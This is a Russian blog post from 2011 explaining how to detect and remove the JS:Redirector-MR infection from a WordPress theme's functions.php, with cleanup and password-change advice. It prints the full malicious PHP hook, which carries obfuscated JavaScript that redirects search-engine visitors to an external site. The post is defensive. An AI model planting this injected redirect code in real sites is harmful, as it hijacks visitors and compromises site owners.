суббота, 24 декабря 2011 г.

Если в Wordpress завелся JS:Redirector-MR

Ничего не поменялось. Сайт чувствовал себя прекрасно, все дивным образом работало, только почему-то резко обвалилась посещаемость. Мало ли что, вдруг это новогодние праздники и, вместо того, чтобы читать про индийские путешествия, пипл в панике мечется по магазинам в поисках подарков и красной икры для ритуальных бутербродов. Да чего уж там, я и сам метался по магазинам в пароксизмах предновогоднего шопинга.

Я, наверно еще долго ничего бы не узнал, если бы не зашел на сайт с компьютера знакомого параноика. Он панически боится вирусов и "большого брата", не пользуется вайфай и подключает кабель к ноутбуку только когда осознанно выходит в сеть. Когда я набрал свой адрес и жмакнул энтер, вся его параноидальная защита истерически заверещала.
-- Все, все, хватит, ты заразишь мне компьютер, придется все переустанавливать!
-- Ты параноик! Это все твоя мания, у меня на сайте ничего нет и быть не может, - все вот этими руками ...
-- Нет, у тебя на сайте вирус.
-- Та ладно, это твои маньяческие антивирусы так реагируют на скрипты счетчиков и Адсенс.
-- Нет это вирус. Все.
Единственное, что я успел увидеть -- Redirector-MR. Этого, впрочем, оказалось достаточно. Когда я вернулся домой, гугл подтвердил уверенность параноика. Это был вирус. Удалить его, как оказалось, проще не бывает. Он живет в файле functions.php темы. Поэтому, в зависимости от кривизны рук есть несколько способов его устранения.

  1.  Если Вы писали тему сами то откройте Ваш functions.php и Вы увидите в конце файла чужой большой фрагмент кода с хаотическими наборами буквочек и циферок. Ядовитый фрагмент нужно удалить и файл сохранить. Все.
  2. Если тема не Ваша - просто переустановите тему из оригинального файла и, на всякий случай, убедитесь, что в конце файла  functions.php нет кода, состоящего из длинного бессмысленного набора символов.

Как избавиться от JS:Redirector-MR [Trj] в блоге Wordpress?

Открыть в редакторе в консоли Wordpress файл functions.php и удалить код вируса, который расположен в конце файла. Если у Вас останется в этом файле всего 4 строчки:

<?php
if ( function_exists('register_sidebars') )
    register_sidebars(2);
?>

не бойтесь, это нормально. Но на всякий случай нередактированный файл перед экспериментами стоит, на всякий случай, сохранить отдельно.
Удалять текст вируса нужно после символов  ?>
Начиная с
<?php
function _verify_activeatewidgets()

до конца фрагмента:
<?php
add_action('get_footer', 'add_sscounter');
function add_sscounter(){
echo '<!--scounter-->';
if(function_exists('is_user_logged_in')){
if(time()%2 == 0 && !is_user_logged_in()){
echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>";
}
}
}
?>
Собственно, по последнему куску из множества символов в файле functions.php вирус легко распознается.


После успешного лечения есть смысл поменять пароли на хостинг и на админку wordpress. Очевидно, что  тот, кто Вам подарил этот триппер один из Ваших старых паролей уже знает. Кроме того, даже если у Вас нет подозрений, что Вы подхватили этот трипперок, - проверьтесь для профилактики. В буржуйском инете пишут, что более 100 000 блогов wordpress уже заражены.